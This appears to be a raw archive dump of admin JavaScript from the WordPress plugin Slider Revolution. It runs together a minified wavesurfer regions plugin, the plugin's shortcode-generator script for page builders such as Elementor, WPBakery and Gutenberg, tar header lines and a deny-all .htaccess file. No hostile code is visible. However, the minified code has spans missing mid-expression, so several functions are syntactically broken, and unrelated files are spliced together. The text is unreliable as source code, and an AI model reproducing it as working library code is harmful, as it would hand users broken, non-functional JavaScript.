this.params.progressColor}},{key:"setProgressColor",value:function(e){this.params.progressColor=e,this.drawBuffer()}},{key:"getCursorColor",value:function(){return this.params.cursorColor}},{key:"setCursorColor",value:function(e){this.params.cursorColor=e,this.drawer.updateCursor()}},{key:"getHeight",value:function(){return this.params.height}},{key:"setHeight",value:function(e){this.params.height=e,this.drawer.setHeight(e*this.params.pixelRatio),this.drawBuffer()}},{key:"drawBuffer",value:function(){var e=Math.round(this.getDuration()*this.params.minPxPerSec*this.params.pixelRatio),t=this.drawer.getWidth(),r=e,n=this.drawer.getScrollX(),i=Math.max(n+t,r);this.params.fillParent&&(!this.params.scrollParent||ee&&(this.end=e,this.start=e-(this.end-this.start)),null!=this.minLength&&(this.end=Math.max(this.start+this.minLength,this.end)),null!=this.maxLength&&(this.end=Math.min(this.start+this.maxLength,this.end)),null!=this.element){var r=Math.round(this.start/e*t),n=Math.round(this.end/e*t)-r;for(var i in this.style(this.element,{left:r+"px",width:n+"px",backgroundColor:this.color,cursor:this.drag?"move":"default"}),this.attributes)this.element.setAttribute("data-region-"+i,this.attributes[i]);this.element.title=this.formatTime(this.start,this.end)}}},{key:"bindInOut",value:function(){var e=this;this.firedIn=!1,this.firedOut=!1;var t=function(t){!e.firedOut&&e.firedIn&&(e.start>=Math.round(100*t)/100||e.end<=Math.round(100*t)/100)&&(e.firedOut=!0,e.firedIn=!1,e.fireEvent("out"),e.wavesurfer.fireEvent("region-out",e)),!e.firedIn&&e.start<=t&&e.end>t&&(e.firedIn=!0,e.firedOut=!1,e.fireEvent("in"),e.wavesurfer.fireEvent("region-in",e))};this.wavesurfer.backend.on("audioprocess",t),this.on("remove",function(){e.wavesurfer.backend.un("audioprocess",t)}),this.on("out",function(){e.loop&&e.wavesurfer.play(e.start)})}},{key:"bindEvents",value:function(){var e,t,r,n,i,s,a,o,u,l,d,h,c,v,f,p=this;this.element.addEventListener("mouseenter",function(e){p.fireEvent("mouseenter",e),p.wavesurfer.fireEvent("region-mouseenter",p,e)}),this.element.addEventListener("mouseleave",function(e){p.fireEvent("mouseleave",e),p.wavesurfer.fireEvent("region-mouseleave",p,e)}),this.element.addEventListener("click",function(e){e.preventDefault(),p.fireEvent("click",e),p.wavesurfer.fireEvent("region-click",p,e)}),this.element.addEventListener("dblclick",function(e){e.stopPropagation(),e.preventDefault(),p.fireEvent("dblclick",e),p.wavesurfer.fireEvent("region-dblclick",p,e)}),(this.drag||this.resize)&&(e=p.wavesurfer.drawer.container,t=p.wavesurfer.getDuration(),r=p.scrollSpeed,n=p.scrollThreshold,i=void 0,s=void 0,a=void 0,o=void 0,u=void 0,l=!1,d=void 0,h=void 0,c=function(e){e.touches&&e.touches.length>1||(s=e.targetTouches?e.targetTouches[0].identifier:null,e.stopPropagation(),i=p.wavesurfer.drawer.handleEvent(e,!0)*t,o=p.wrapper.scrollWidth-p.wrapper.clientWidth,h=p.wrapper.getBoundingClientRect(),"handle"==e.target.tagName.toLowerCase()?u=e.target.classList.contains("wavesurfer-handle-start")?"start":"end":(a=!0,u=!1))},v=function(e){e.touches&&e.touches.length>1||((a||u)&&(a=!1,d=null,u=!1),l&&(l=!1,p.util.preventClick(),p.fireEvent("update-end",e),p.wavesurfer.fireEvent("region-update-end",p,e)))},f=function(c){if(!(c.touches&&c.touches.length>1)&&(!c.targetTouches||c.targetTouches[0].identifier==s)&&(a||u)){var v=i,f=p.wavesurfer.drawer.handleEvent(c)*t,m=f-i;if(i=f,p.drag&&a&&(l=l||!!m,p.onDrag(m)),p.resize&&u&&(l=l||!!m,p.onResize(m,u)),p.scroll&&e.clientWidth=0?d=-1:f>v&&w+g.width<=h.right&&(d=1),(-1===d&&w>n||1===d&&w+g.width=h.right-n?1:null}d&&function e(n){if(d&&(a||u)){var s=p.wrapper.scrollLeft+r*d;p.wrapper.scrollLeft=s=Math.min(o,Math.max(0,s));var l=p.wavesurfer.drawer.handleEvent(n)*t,h=l-i;i=l,a?p.onDrag(h):p.onResize(h,u),window.requestAnimationFrame(function(){e(n)})}}(c)}}},p.element.addEventListener("mousedown",c),p.element.addEventListener("touchstart",c),p.wrapper.addEventListener("mousemove",f),p.wrapper.addEventListener("touchmove",f),document.body.addEventListener("mouseup",v),document.body.addEventListener("touchend",v),p.on("remove",function(){document.body.removeEventListener("mouseup",v),document.body.removeEventListener("touchend",v),p.wrapper.removeEventListener("mousemove",f),p.wrapper.removeEventListener("touchmove",f)}),p.wavesurfer.on("destroy",function(){document.body.removeEventListener("mouseup",v),document.body.removeEventListener("touchend",v)}))}},{key:"onDrag",value:function(e){var t=this.wavesurfer.getDuration();this.end+e>t||this.start+e<0||this.update({start:this.start+e,end:this.end+e})}},{key:"onResize",value:function(e,t){"start"==t?this.update({start:Math.min(this.start+e,this.end),end:Math.max(this.start+e,this.end)}):this.update({start:Math.min(this.end+e,this.start),end:Math.max(this.end+e,this.start)})}}]),e}(),a=function(){function e(t,r){var n=this;i(this,e),this.params=t,this.wavesurfer=r,this.util=r.util,Object.getOwnPropertyNames(this.util.Observer.prototype).forEach(function(e){s.prototype[e]=n.util.Observer.prototype[e]}),this.wavesurfer.Region=s,this.list={},this._onReady=function(){n.wrapper=n.wavesurfer.drawer.wrapper,n.params.regions&&n.params.regions.forEach(function(e){n.add(e)}),n.params.dragSelection&&n.enableDragSelection(n.params)}}return n(e,null,[{key:"create",value:function(t){return{name:"regions",deferInit:!(!t||!t.deferInit)&&t.deferInit,params:t,staticProps:{initRegions:function(){console.warn('Deprecated initRegions! Use wavesurfer.initPlugins("regions") instead!'),this.initPlugin("regions")},addRegion:function(e){return this.initialisedPluginList.regions||this.initPlugin("regions"),this.regions.add(e)},clearRegions:function(){this.regions&&this.regions.clear()},enableDragSelection:function(e){this.initialisedPluginList.regions||this.initPlugin("regions"),this.regions.enableDragSelection(e)},disableDragSelection:function(){this.regions.disableDragSelection()}},instance:e}}}]),n(e,[{key:"init",value:function(){this.wavesurfer.isReady&&this._onReady(),this.wavesurfer.on("ready",this._onReady)}},{key:"destroy",value:function(){this.wavesurfer.un("ready",this._onReady),this.disableDragSelection(),this.clear()}},{key:"add",value:function(e){var t=this,r=new this.wavesurfer.Region(e,this.wavesurfer);return this.list[r.id]=r,r.on("remove",function(){delete t.list[r.id]}),r}},{key:"clear",value:function(){var e=this;Object.keys(this.list).forEach(function(t){e.list[t].remove()})}},{key:"enableDragSelection",value:function(e){var t=this,r=e.slop||2,n=this.wavesurfer.drawer.container,i=!1!==e.scroll&&this.wavesurfer.params.scrollParent,s=e.scrollSpeed||1,a=e.scrollThreshold||10,o=void 0,u=this.wavesurfer.getDuration(),l=void 0,d=void 0,h=void 0,c=void 0,v=0,f=void 0,p=void 0,m=function(e){e.touches&&e.touches.length>1||(u=t.wavesurfer.getDuration(),c=e.targetTouches?e.targetTouches[0].identifier:null,l=t.wrapper.scrollWidth-t.wrapper.clientWidth,p=t.wrapper.getBoundingClientRect(),o=!0,d=t.wavesurfer.drawer.handleEvent(e,!0),h=null,f=null)};this.wrapper.addEventListener("mousedown",m),this.wrapper.addEventListener("touchstart",m),this.on("disable-drag-selection",function(){t.wrapper.removeEventListener("touchstart",m),t.wrapper.removeEventListener("mousedown",m)});var g=function(e){e.touches&&e.touches.length>1||(o=!1,v=0,f=null,h&&(t.util.preventClick(),h.fireEvent("update-end",e),t.wavesurfer.fireEvent("region-update-end",h,e)),h=null)};this.wrapper.addEventListener("mouseup",g),this.wrapper.addEventListener("touchend",g),document.body.addEventListener("mouseup",g),document.body.addEventListener("touchend",g),this.on("disable-drag-selection",function(){document.body.removeEventListener("mouseup",g),document.body.removeEventListener("touchend",g),t.wrapper.removeEventListener("touchend",g),t.wrapper.removeEventListener("mouseup",g)});var w=function(m){if(o&&!(++v<=r||m.touches&&m.touches.length>1||m.targetTouches&&m.targetTouches[0].identifier!=c)){h||(h=t.add(e||{}));var g=t.wavesurfer.drawer.handleEvent(m);if(h.update({start:Math.min(g*u,d*u),end:Math.max(g*u,d*u)}),i&&n.clientWidth=p.right-a?1:null)&&function e(r){if(h&&f){var n=t.wrapper.scrollLeft+s*f;t.wrapper.scrollLeft=n=Math.min(l,Math.max(0,n));var i=t.wavesurfer.drawer.handleEvent(r);h.update({start:Math.min(i*u,d*u),end:Math.max(i*u,d*u)}),n0&&window.requestAnimationFrame(function(){e(r)})}}(m)}}};this.wrapper.addEventListener("mousemove",w),this.wrapper.addEventListener("touchmove",w),this.on("disable-drag-selection",function(){t.wrapper.removeEventListener("touchmove",w),t.wrapper.removeEventListener("mousemove",w)})}},{key:"disableDragSelection",value:function(){this.fireEvent("disable-drag-selection")}},{key:"getCurrentRegion",value:function(){var e=this,t=this.wavesurfer.getCurrentTime(),r=null;return Object.keys(this.list).forEach(function(n){var i=e.list[n];i.start<=t&&i.end>=t&&(!r||i.end-i.start0) RVS.SC.BLOCK.content +=' offset="'+RVS.SC.BLOCK.offsettext+'"'; else RVS.SC.BLOCK.offsettext=""; if (RVS.SC.BLOCK.zindex!==undefined && RVS.SC.BLOCK.zindex!=="" && RVS.SC.BLOCK.zindex!==0) RVS.SC.BLOCK.content += ' zindex="'+RVS.SC.BLOCK.zindex+'"'; } } if (RVS.ENV.activated!==false && RVS.SC.BLOCK.layout !== RVS.SC.BLOCK.origlayout) RVS.SC.BLOCK.content += ' layout="'+RVS.SC.BLOCK.layout+'"'; RVS.SC.BLOCK.content += '][/rev_slider]'; delete RVS.SC.BLOCK.text; return {popup:popup, usage:usage}; }, updateShortCode : function() { if (RVS!==undefined && RVS.SC!==undefined && RVS.SC.suppress) return; var SC = RVS.SC.buildShortCode(); switch(RVS.SC.type) { case 'wpbackery': var temp = jQuery.extend(true,{},RVS.SC.BLOCK); if (SC.usage==="modal") { temp.usage = SC.usage; temp.modal = SC.popup;delete temp.offset;delete temp.zimdex; } else { if (temp.offsettext!=="") temp.offset = RVS.SC.BLOCK.offsettext; else delete temp.offset; delete temp.usage; delete temp.modal; } if (temp.layout===temp.origlayout) delete temp.layout; delete temp.offsettext; delete temp.origlayout; delete temp.content; delete temp.popup; RVS.SC.VC.model.save('params', temp); break; case 'tinymce': tinyMCE.activeEditor.selection.setContent(RVS.SC.BLOCK.content); break; case 'elementor': RVS.SC.suppress = true; RVS.SC.EL.model.setSetting('revslidertitle', RVS.SC.BLOCK.slidertitle); RVS.SC.EL.model.setSetting('shortcode', RVS.SC.BLOCK.content); RVS.SC.EL.control.find('input[data-setting="shortcode"]').trigger('input'); setTimeout(function() {RVS.SC.suppress = false;}, 500); break; case 'qtags': QTags.insertContent(RVS.SC.BLOCK.content); break; case 'gutenberg': var obj = {slidertitle: RVS.SC.BLOCK.slidertitle, alias: RVS.SC.BLOCK.alias, modal: RVS.SC.BLOCK.modal , content: RVS.SC.BLOCK.content , zindex: RVS.SC.BLOCK.zindex , wrapperid: RVS.SC.BLOCK.wrapperid}; revslider_react.setState(obj); revslider_react.props.setAttributes(obj); revslider_react.forceUpdate(); break; case 'divi': revslider_divi.props._onChange(revslider_divi.props.name, RVS.SC.BLOCK.content); revslider_divi.setState(RVS.SC.BLOCK); break; default:break; } }, openTemplateLibrary: function(type) { // 5.0 to 6.0 update patch if(typeof RVS.LIB.OBJ === 'undefined') return; if (type==="tinymce") { RVS.SC.BLOCK = {}; } RVS.SC.type = type; if(!RVS.SC.libraryInited) { RVS.SC.libraryInited = true; RVS.F.initObjectLibrary(true); var oas = document.getElementById('obj_addsliderasmodal'); if (oas!==null) { oas.style.display = 'inline-block'; RVS.F.initOnOff(oas); } jQuery(document.body).on('change', '#sel_olibrary_sorting', function() { jQuery('#reset_objsorting').css((this.value === 'datedesc' ? {display: 'none'} : {display: 'inline-block', opacity: '1', visibility: 'visible'} )); if(this.dataset.evt!==undefined) RVS.DOC.trigger(this.dataset.evt, this.dataset.evtparam); }).on('change', '#ol_pagination', function(e) { if(this.dataset.evt!==undefined) RVS.DOC.trigger(this.dataset.evt,[e, this.value, this.dataset.evtparam]); }); } var successObj = {modules: 'addRevSliderShortcode', event: 'selectRevSliderItem'}; jQuery('#obj_addsliderasmodal .tponoffwrap').addClass('off').find('input').prop('checked', false); RVS.F.openObjectLibrary({types: ['modules'], filter: 'all', selected: ['modules'], success: successObj}); var folder = RVS.F.getCookie('rs6_wizard_folder'); if(folder && folder !== -1 && folder !== '-1' && ((RVS.LIB.OBJ !==undefined && RVS.LIB.OBJ.items!==undefined && RVS.LIB.OBJ.items.modules!==undefined))) RVS.F.changeOLIBToFolder(folder); }, openBlockSettings : function(type,sc){ if (RVS===undefined || RVS.SC===undefined) return; if (RVS.ENV.activated!==true) RVS.F.showRegisterSliderInfo(); if (sc===undefined && RVS.SC.BLOCK===undefined) return; RVS.SC.BLOCK = sc!==undefined ? RVS.SC.scToBlock(sc) : RVS.SC.BLOCK===undefined || RVS.SC.BLOCK.text===undefined ? RVS.SC.scToBlock(RVS.SC.BLOCK.content) : RVS.SC.scToBlock(RVS.SC.BLOCK.text); if (RVS!==undefined && RVS.SC!==undefined && RVS.SC.BLOCK!==undefined && RVS.SC.BLOCK.alias.length>0) { RVS.SC.type = type; //Ajax Call to get the original Layout RVS.F.ajaxRequest('getSliderSizeLayout', { alias : RVS.SC.BLOCK.alias }, function(response) { if(response.success) { if (response!==undefined && response.layout!==undefined) { response.layout = response.layout===undefined || response.layout==="" ? "auto" : response.layout; RVS.SC.BLOCK.origlayout = response.layout; RVS.SC.BLOCK.slidertitle = response.slidertitle!==undefined ? response.slidertitle : response.sliderTitle!==undefined ? response.sliderTitle : response.title!==undefined ? response.title : RVS.SC.BLOCK.slidertitle; if(typeof RVS.SC.BLOCK.layout === "undefined" || RVS.SC.BLOCK.layout==="") RVS.SC.BLOCK.layout = RVS.SC.BLOCK.origlayout; } RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent}); RVS.C.RBBS = jQuery('#rbm_blocksettings'); RVS.F.initOnOff(RVS.C.RBBS); RVS.F.RSDialog.create({modalid:'#rbm_blocksettings', bgopacity:0.5}); RVS.C.RBBS.RSScroll({wheelPropagation:false, suppressScrollX:true}); RVS.C.RBBS.find('.origlayout').hide(); RVS.C.RBBS.find('.origlayout.origlayout_'+RVS.SC.BLOCK.origlayout).show(); RVS.F.RSDialog.center(); setTimeout(RVS.F.RSDialog.center,19); setTimeout(RVS.F.RSDialog.center,50); setTimeout(RVS.F.RSDialog.center,400); blockSettingsUpdate(); } }); } }, openSliderEditor : function(alias) { if (alias!==undefined && alias.length>0) window.open(RVS.ENV.admin_url+"&view=slide&alias="+alias);}, openOptimizer : function(alias){ if (alias!==undefined && alias.length>0) RVS.F.openOptimizer({alias:alias});} }; // INITIALISE PROCESSES var RVSSCINIT_once = false if (document.readyState === "loading") document.addEventListener('readystatechange',function(){ if ((document.readyState === "interactive" || document.readyState === "complete") && !RVSSCINIT_once) { RVSSCINIT_once = true; RVS.SC.init(); } }); else { RVSSCINIT_once = true; RVS.SC.init(); } function updateInherits(novisual) { if (RVS==undefined || RVS.SC.BLOCK==undefined || RVS.SC.BLOCK.offset===undefined) return; var inh = {top:0, bottom:0, left:0, right:0},val,s,d,txt='',com,nxt; for (var j in RVS.V.dirs) { d = RVS.V.dirs[j]; com = false; txt += RVS.V.dirs[j][0]+":"; for (var i in RVS.V.sizes) { s = RVS.V.sizes[i]; nxt = (s=="d" && (RVS.SC.BLOCK.offset.d.use || RVS.SC.BLOCK.offset.n.use || RVS.SC.BLOCK.offset.t.use || RVS.SC.BLOCK.offset.n.use)) || (s=="n" && (RVS.SC.BLOCK.offset.n.use || RVS.SC.BLOCK.offset.t.use || RVS.SC.BLOCK.offset.n.use)) || (s=="t" && (RVS.SC.BLOCK.offset.t.use || RVS.SC.BLOCK.offset.m.use)) || (s=="m" && RVS.SC.BLOCK.offset.m.use); if (com && nxt) txt +=','; com = true; if (novisual!==true) { var inp = jQuery("#rbm_blocksettings .scblockinput[data-r='offset."+s+"."+d+"']"); if (inp[0]===undefined) continue; inp[0].dataset.s = s; } if (RVS.SC.BLOCK.offset[s].use) { inh[d] = val = RVS.SC.BLOCK.offset[s][d]; if (novisual!==true) inp[0].style.opacity = 1; } else { val = inh[d]; if (novisual!==true) inp[0].style.opacity = 0.5; } if (novisual!==true) inp[0].value = val; if (nxt) txt +=val; else com = false; } txt +=';' } if (txt==="t:;b:;l:;r:;") txt=""; RVS.SC.BLOCK.offsettext = txt; } function newBlock(alias) { alias = alias===undefined ? "" : alias; return new Object({ alias:alias, zindex:0, popup: { time : {use:false, v:2000}, scroll : {use:false, type:"offset", v:2000,container:""}, event : {use:false, v:"popup_"+alias}, hash : {use:false}, cookie:{use:false,v:24} }, offset: { d : {top:"0px", bottom:"0px", left:"0px", right:"0px" ,use:false}, n : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, t : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, m : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}}, modal: false }) } function blockSettingsUpdate() { RVS.F.updateEasyInputs({path:'SC.BLOCK.', container:'#rbm_blocksettings', root:RVS}); RVS.F.updateAllOnOff(); updateInherits(); jQuery('.scblockinput').trigger('init'); if (RVS.SC.BLOCK.popup!==undefined) { document.getElementById('srbs_scr_evt').innerHTML = RVS.SC.BLOCK.popup.event.v; document.getElementById('srbs_scr_hash').innerHTML = RVS.SC.BLOCK.alias; if (RVS.ENV.activated!==false) jQuery('.rb_not_on_notactive').removeClass("disabled"); else jQuery('.rb_not_on_notactive').addClass("disabled"); } } function blockSettingsReset() { if (RVS.SC.BLOCK!==undefined) { RVS.SC.BLOCK.zindex = 0; RVS.SC.BLOCK.popup = { time : {use:false, v:2000}, scroll : {use:false, type:"offset", v:2000,container:""},event : {use:false, v:"popup_"+RVS.SC.BLOCK.alias}}; RVS.SC.BLOCK.offset = { d : {top:"0px", bottom:"0px", left:"0px", right:"0px" ,use:false}, n : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, t : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, m : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}}; RVS.SC.BLOCK.modal = false; } } /* ELEMENTOR HOOKS */ function elementorHooks() { if (typeof elementor!=="undefined" && elementor.hooks!==undefined) { elementor.hooks.addAction( 'panel/open_editor/widget/slider_revolution', function( panel, model, view ) { RVS.SC.type = "elementor"; RVS.SC.EL = RVS.SC.EL===undefined ? {} : RVS.SC.EL; RVS.SC.EL.control = panel.$el.find('#elementor-controls'); RVS.SC.EL.view = view; RVS.SC.EL.model = model; // CHECK ALIAS FOR FROM VERSION 6.1.6 + if (view!==undefined && view.container!==undefined && view.container.settings!==undefined && view.container.settings.attributes!==undefined) { if (view.container.settings.attributes.shortcode!==undefined) { RVS.SC.BLOCK = RVS.SC.scToBlock(view.container.settings.attributes.shortcode); // FALLBACK if (view.container.settings.attributes.revslidertitle!==undefined) RVS.SC.BLOCK.slidertitle = view.container.settings.attributes.revslidertitle; if (view.container.settings.attributes.modal!==undefined) RVS.SC.BLOCK.modal = view.container.settings.attributes.modal; } } //STYLING ELEMNTOR TO LOOK MORE SLIDER REVOLUTION LIKE jQuery('.elementor-component-tab.elementor-panel-navigation-tab.elementor-tab-control-advanced').hide(); RVS.SC.EL.control.addClass("rs-elementor-component-tab"); }); // BASIC LISTENER window.elementorSelectRevSlider = function(e) { if (e) RVS.SC.openTemplateLibrary('elementor'); else jQuery('button[data-event="themepunch.selectslider"]').trigger('click');} /* FURTHER LISTNERS */ RVS.DOC.on('click', 'button[data-event="themepunch.selectslider"]', function() {RVS.SC.openTemplateLibrary('elementor');}); RVS.DOC.on('click', 'button[data-event="themepunch.settingsslider"]', function() {RVS.SC.openBlockSettings('elementor',(RVS.SC.EL.view!==undefined && RVS.SC.EL.view.container!==undefined && RVS.SC.EL.view.container.settings!==undefined && RVS.SC.EL.view.container.settings.attributes!==undefined && RVS.SC.EL.view.container.settings.attributes.shortcode!==undefined ? RVS.SC.EL.view.container.settings.attributes.shortcode : {}));}); RVS.DOC.on('click', 'button[data-event="themepunch.editslider"]', function() {RVS.SC.openSliderEditor(RVS.SC.BLOCK.alias)}); RVS.DOC.on('click', 'button[data-event="themepunch.optimizeslider"]', function() {RVS.SC.openOptimizer(RVS.SC.BLOCK.alias)}); } } /* VISUAL COMPOSER HOOKS */ function vcHooks() { function convertVCParamsToSC(params) { var temp = jQuery.extend(true,{},params), sc = '[rev_slider alias="' + temp.alias + '"'; if (temp.slidertitle!==undefined) sc+= ' slidertitle="'+temp.slidertitle+'"'; else if (temp.sliderTitle!==undefined) sc+= ' slidertitle="'+temp.sliderTitle+'"'; else if (temp.title!==undefined) sc+= ' slidertitle="'+temp.title+'"'; if (temp.modal!==undefined) sc+= ' modal="'+temp.modal+'"'; if (temp.usage!==undefined) sc+= ' usage="'+temp.usage+'"'; if (temp.offset!==undefined) sc+= ' offset="'+temp.offset+'"'; if (temp.zindex!==undefined) sc+= ' zindex="'+temp.zindex+'"'; if (temp.layout!==undefined) sc+= ' layout="'+temp.layout+'"'; sc += '][/rev_slider]'; return sc; } /* OPEN TEMPLATE LIBRARY FOR VC */ function VCopenTemplateLibrary(params) { jQuery('.wpb-element-edit-modal').hide(); //hide the normal VC window and use own (old vc version) jQuery('#vc_properties-panel').hide(); //hide the normal VC window and use own (new vc version) RVS.SC.BLOCK = RVS.SC.scToBlock(convertVCParamsToSC(params)); RVS.SC.openTemplateLibrary('wpbackery'); } if (typeof vc==="undefined" || vc==undefined) return; window.VcSliderRevolution = vc.shortcode_view.extend({ events: { 'click > .vc_controls .vc_control_rev_optimizer': 'rs_optim', 'click > .vc_controls .vc_control_rev_selector': 'rs_select', 'click > .vc_controls .vc_control_rev_settings': 'rs_settings', 'click .column_delete,.vc_control-btn-delete': 'deleteShortcode', 'click .vc_control-btn-edit': 'editElement', 'click .column_clone,.vc_control-btn-clone': 'clone', mousemove: "checkControlsPosition" }, initialize: function() {return window.VcSliderRevolution.__super__.initialize.call(this);}, render: function () { RVS.SC.VC = this; if(vc.add_element_block_view.$el.is(':visible')) VCopenTemplateLibrary(this.model.get('params'));return window.VcSliderRevolution.__super__.render.call(this);}, editElement: function() { RVS.SC.openSliderEditor(this.model.get('params').alias);}, rs_select : function() { RVS.SC.VC = this;VCopenTemplateLibrary(this.model.get('params'));}, rs_optim : function() { RVS.SC.openOptimizer(this.model.get('params').alias);}, rs_settings : function() { RVS.SC.VC = this; RVS.SC.openBlockSettings('wpbackery',convertVCParamsToSC(this.model.get('params')));} }); if(typeof(window.InlineShortcodeView) !== 'undefined') { var rs_show_frontend_overlay = false; jQuery(window).on('vc_build', function() { vc.add_element_block_view.$el.find('[data-element="rev_slider"]').on('click',function() { rs_show_frontend_overlay = true; }); }); window.InlineShortcodeView_rev_slider = window.InlineShortcodeView.extend({ events: { 'click > .vc_controls .vc_control_rev_optimizer': 'rs_optim', 'click > .vc_controls .vc_control_rev_selector': 'rs_select', 'click > .vc_controls .vc_control_rev_settings': 'rs_settings', 'click .column_delete,.vc_control-btn-delete': 'destroy', 'click .vc_control-btn-edit': 'edit', mousemove: "checkControlsPosition" }, render: function() { RVS.SC.VC = this; if(rs_show_frontend_overlay) VCopenTemplateLibrary(this.model.get('params')) window.InlineShortcodeView_rev_slider.__super__.render.call(this); var mv = this.$controls.find('.vc_element-move'); if (this.$controls[0].getElementsByClassName('vc_control_rev_optimizer').length===0) jQuery('flash_on').insertAfter(mv); if (this.$controls[0].getElementsByClassName('vc_control_rev_settings').length===0) jQuery('tune').insertAfter(mv); if (this.$controls[0].getElementsByClassName('vc_control_rev_selector').length===0) jQuery('cached').insertAfter(mv); if (this.$controls[0].getElementsByClassName('vc_control_rev_edit').length===0) mv.find('.vc_control-btn.vc_control-btn-edit').addClass('vc_control_rev_edit'); this.$controls.find('.vc_control-btn-clone').hide(); return this; }, rs_settings : function() { RVS.SC.VC = this; RVS.SC.openBlockSettings('wpbackery',convertVCParamsToSC(this.model.get('params'))); return false;}, rs_optim : function() { RVS.SC.openOptimizer(this.model.get('params').alias);return false;}, update: function(model) { rs_show_frontend_overlay = false;window.InlineShortcodeView_rev_slider.__super__.update.call(this, model);return this;}, edit: function() { RVS.SC.openSliderEditor(this.model.get('params').alias);return false;}, rs_select : function() { RVS.SC.VC = this; VCopenTemplateLibrary(this.model.get('params'));return false; }, }); }; /* LISTENERS */ RVS.DOC.on('mouseenter','.wpb_rev_slider.wpb_content_element.wpb_sortable',function() { //CHECK TOOLBAR OF VC var controls = jQuery(this.getElementsByClassName('vc_controls-cc')[0]); if (controls!==undefined) { var mv = controls.find('.vc_element-move'); if (this.getElementsByClassName('vc_control_rev_optimizer').length===0) jQuery('flash_on').insertAfter(mv); if (this.getElementsByClassName('vc_control_rev_settings').length===0) jQuery('tune').insertAfter(mv); if (this.getElementsByClassName('vc_control_rev_selector').length===0) jQuery('cached').insertAfter(mv); if (this.getElementsByClassName('vc_control_rev_edit').length===0) mv.find('.vc_control-btn.vc_control-btn-edit').addClass('vc_control_rev_edit'); } }); } function shortCodeListener() { if (RVS.S.shortCodeListener!==undefined) return; RVS.S.shortCodeListener = true; // COOKIE HANDLING jQuery(document.body).on('click', '#objectlibrary *[data-folderid]', function() {RVS.F.setCookie("rs6_wizard_folder",this.dataset.folderid,360);}); // var _str = document.getElementById('slide_template_row') ; if (_str!==null) { _str.style.display = 'inline-block'; RVS.F.initOnOff(_str); } RVS.DOC.on('click','.rs_lib_premium_red',RVS.F.showRegisterSliderInfo); RVS.DOC.on('registrationdone',function() { if (RVS.ENV.activated===false) { jQuery('.rs_wp_plg_act_wrapper').show(); jQuery('.rb_not_on_notactive').addClass("disabled"); } else { jQuery('.rs_wp_plg_act_wrapper').hide(); jQuery('.rb_not_on_notactive').removeClass("disabled"); } }); if (RVS.ENV.activated===false) { jQuery('.rs_wp_plg_act_wrapper').show(); RVS.DOC.on('click','.rs_wp_plg_act_wrapper',RVS.F.showRegisterSliderInfo); } else { jQuery('.rs_wp_plg_act_wrapper').hide(); } /********************************** - PAGE BACKGROUND COLOR - **********************************/ // Color Picker jQuery('#rs_page_bg_color').rsColorPicker({ init: function(inputWrap, inputElement, cssColor, widgetSettings) { var ghost = jQuery('').appendTo(inputWrap); inputElement.data('ghost', ghost).hide(); }, change:function(currentInput, cssColor, gradient, globalColors, globalColorActive) { currentInput.data('ghost').val(cssColor); currentInput.val(cssColor); } }); function isSelectWithThemes(sel) { if (sel===undefined || sel.options===undefined) return false; var ret = false; for (var opt in sel.options) { if (!sel.options.hasOwnProperty(opt) || ret) continue; ret = sel.options[opt].value === "../public/views/revslider-page-template.php"; } return ret; } function findSelectWithThemes() { var wpsc = document.getElementsByClassName('components-select-control__input'), ret = false; for (var i in wpsc) { if (!wpsc.hasOwnProperty(i) || ret!==false) continue if (isSelectWithThemes(wpsc[i])) ret = wpsc[i]; } return ret; } // Page Template , Color Picker, checkbox check only when RevSlider Blank Template jQuery(document.body).on('change', '.components-select-control__input, .editor-page-attributes__template select', function() { if (!isSelectWithThemes(this)) return; if(this.value === "../public/views/revslider-page-template.php"){ jQuery('#rs_page_bg_color_column').show(); jQuery('#rs_blank_template').prop('checked', true); jQuery('#slide_template_row .tponoffwrap').removeClass('off'); } else { jQuery('#rs_page_bg_color_column').hide(); jQuery('#rs_blank_template').prop('checked', false); jQuery('#slide_template_row .tponoffwrap').addClass('off'); } }); // Page Template , checkbox check sync Page Template Selectbox jQuery(document.body).on('change', '#rs_blank_template', function() { var sel = findSelectWithThemes(); if (sel===false) sel = jQuery('.editor-page-attributes__template select'); else sel=jQuery(sel); if(jQuery(this).prop('checked')){ sel.val("../public/views/revslider-page-template.php").change(); jQuery('#rs_page_bg_color_column').show(); } else { sel.val("").change(); jQuery('#rs_page_bg_color_column').hide(); } }); /* DEFAULT LISTENERS */ RVS.DOC.on('click','.block-editor-editor-skeleton__content, .interface-interface-skeleton__content', function() {RVS.SC.updateBlockViews(true);}); RVS.DOC.on('addRevSliderShortcode', function(e, data) { if(data!==undefined && data.alias !== '-1'){ data.size = data.size==="" || data.size===undefined ? "auto" : data.size; var block = newBlock(data.alias); RVS.SC.BLOCK = jQuery.extend(true,block,RVS.SC.BLOCK); RVS.SC.BLOCK.alias = data.alias; RVS.SC.BLOCK.slidertitle = data.slidertitle!==undefined ? data.slidertitle : data.title!==undefined ? data.title : data.alias; RVS.SC.BLOCK.layout = RVS.SC.BLOCK.origlayout = data.size; RVS.SC.updateShortCode(); } }); RVS.DOC.on('selectRevSliderItem', function() { var folder = RVS.F.getCookie('rs6_wizard_folder'); if(folder && folder !== -1 && folder !== '-1') RVS.F.changeOLIBToFolder(folder); }); // CLOSE EDITOR RVS.DOC.on('click','#rbm_blocksettings .rbm_close' , function() { RVS.SC.updateShortCode(); RVS.F.RSDialog.close(); }); RVS.DOC.on('focus','.scblockinput',function() { this.dataset.focusvalue = this.value; this.style.opacity = 1; }); RVS.DOC.on('change blur','.scblockinput',function() { if (this.dataset.s!==undefined && this.dataset.focusvalue!==this.value) RVS.SC.BLOCK.offset[this.dataset.s].use = true; blockSettingsUpdate(); }); RVS.DOC.on('updateSRBSSVREVT',function(e,v){ if(v!==undefined) { if (v.val==="") RVS.SC.BLOCK.popup.event.v = "popup_"+RVS.SC.BLOCK.alias; document.getElementById('srbs_scr_evt').innerHTML = v.val; } }); } })();admin/assets/js/shortcode_generator/.htaccess000044400000000177151724235750015426 0ustar00 Order allow,deny Deny from all admin/assets/js/shortcode_generator/vc.js000060400000000000151724235750014555 0ustar00admin/assets/js/modules/admin.min.js000060400000411643151724235750013452 0ustar00/*! * REVOLUTION 6.0.0 BUILDER JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ window.RVS=void 